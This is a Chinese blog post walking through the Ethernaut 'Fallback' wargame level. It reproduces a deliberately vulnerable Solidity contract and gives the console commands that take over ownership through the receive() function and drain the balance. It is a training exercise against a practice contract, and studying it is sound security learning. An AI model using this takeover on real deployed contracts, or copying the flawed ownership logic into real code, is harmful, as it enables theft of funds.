iT邦幫忙

2022 iThome 鐵人賽

DAY 3
0

(Fallback) 倒楣鬼程式碼

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

通關條件

上述程式碼即為玩家要攻擊的程式碼,玩家必須要取得 owner 的權限(讓 owner 裡面存的地址改成自己),並且要將合約內的 Balance 變成 0 方可通關。

先備知識 - receive

在 Solidity 裡,為了讓合約使用上更加便利,Solidity 在合約裡加上許多功能與關鍵字給予了程式碼更多功能性,現在要提起的 receive 正是其中之一。

receive() external payable {}

在 Soldiity 中,要讓合約有收款能力則需要加上 receivefallback 關鍵字,而這個 receive/fallback 是收款函數,既然稱為函數,就代表著他是會執行的,而執行時機是當合約收到款項時會觸發函數,

通關

在程式碼中有兩個函數能夠替換 owner 權限,分別是 contributereceive

function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
        owner = msg.sender;
    }
}

contribute 函數只要當我們存在合約內的錢比 owner 還多就可以了,那我們就來看看 owner 有多少錢吧

constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
}

1000 ether 那....感覺是完全沒有機會走這一條路呢 :((
receive

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}

我們可以發現,只要 contributions[player] > 0 並且再發送一筆轉帳交易進入合約後,合約會觸發 receive 如此一來便可以將 owner 權限更改成自己的地址。

通關

當務之急是讓 player 的 contributions > 0,所以需要讀者執行 contribute 函數

await contract.contribute.sendTransaction({from : player, value:toWei("0.0001")})

要留意的是 sendTransaction 的寫法,({from : <address>, value : })
這段程式碼的意思是執行 contribute 函數,並且轉入指定數量的 ETH

正確執行函數後就能來查看玩家目前的 contrubute 是否 > 0

確定了 contribution 不為 0 ,那麼依照前面的邏輯,只要完成一次正常交易,合約就會執行 receive 並且將 owner 改為玩家自己囉。

await contract.sendTransaction({from:player, value:toWei("0.0001")})
來查看 owner 現在是誰吧

await contract.owner()
最後一步可別忘了,要把合約吃乾抹淨
await contract.withdraw()
偷完錢之後就可以開開心心的 submit 啦

⎦˚◡˚⎣ ⎦˚◡˚⎣ ⎦˚◡˚⎣ ⎦˚◡˚⎣ ⎦˚◡˚⎣

reference


上一篇
Day2 如何開始遊戲
下一篇
Day 4 - Fallout
系列文
智能合約漏洞演練 - Ethernaut18
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言